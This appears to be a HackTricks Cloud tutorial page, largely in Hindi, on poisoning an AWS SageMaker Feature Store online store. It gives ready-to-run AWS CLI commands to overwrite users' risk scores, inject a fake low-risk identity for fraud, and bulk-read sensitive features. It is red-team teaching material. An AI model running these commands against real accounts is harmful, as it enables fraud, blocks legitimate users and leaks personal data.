SageMaker Feature Store online store poisoning
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
sagemaker:PutRecord का दुरुपयोग करके OnlineStore सक्षम Feature Group पर मौजूद live feature values (जो online inference द्वारा उपयोग होते हैं) को overwrite किया जा सकता है। sagemaker:GetRecord के साथ मिलकर, an attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints तक पहुँच की आवश्यकता नहीं है।
Requirements
- Permissions:
sagemaker:ListFeatureGroups,sagemaker:DescribeFeatureGroup,sagemaker:PutRecord,sagemaker:GetRecord - Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
- Complexity: LOW - Simple AWS CLI commands, no model manipulation required
Steps
Reconnaissance
- OnlineStore सक्षम Feature Groups की सूची बनाएं
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
- लक्षित Feature Group का वर्णन करें ताकि उसके स्कीमा को समझा जा सके
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
ध्यान दें RecordIdentifierFeatureName, EventTimeFeatureName, और सभी feature परिभाषाएँ। ये वैध रिकॉर्ड बनाने के लिए आवश्यक हैं।
हमला परिदृश्य 1: Data Poisoning (Overwrite Existing Records)
- वर्तमान वैध रिकॉर्ड पढ़ें
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
- Poison रिकॉर्ड को दुष्ट मानों से इनलाइन
--recordपैरामीटर का उपयोग करके दूषित करें
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
- poisoned data को सत्यापित करें
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
प्रभाव: इस feature का उपयोग करने वाले ML मॉडल अब वैध उपयोगकर्ता के लिए risk_score=0.99 देखेंगे, जिससे संभावित रूप से उनके लेनदेन या सेवाएँ ब्लॉक हो सकती हैं।
हमला परिदृश्य 2: Malicious Data Injection (Create Fraudulent Records)
सुरक्षा नियंत्रणों से बचने के लिए परिवर्तित features के साथ बिल्कुल नए रिकॉर्ड इंजेक्ट करें:
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
injection की जाँच करें:
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
प्रभाव: Attacker एक नकली पहचान बनाता है जिसका low risk score (0.01) होता है, और यह high-value fraudulent transactions कर सकता है बिना fraud detection को trigger किए।
Attack Scenario 3: Sensitive Data Exfiltration
कई रिकॉर्ड पढ़ें ताकि गोपनीय विशेषताएँ निकाली जा सकें और मॉडल के व्यवहार का प्रोफ़ाइल तैयार किया जा सके:
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
प्रभाव: गोपनीय विशेषताएँ (जोखिम स्कोर, लेन-देन पैटर्न, व्यक्तिगत डेटा) हमलावर के लिए उजागर हो सकती हैं।
परीक्षण/डेमो Feature Group निर्माण (वैकल्पिक)
यदि आपको एक परीक्षण Feature Group बनाने की आवश्यकता है:
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi
echo "Feature Group ready: $FG"
संदर्भ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

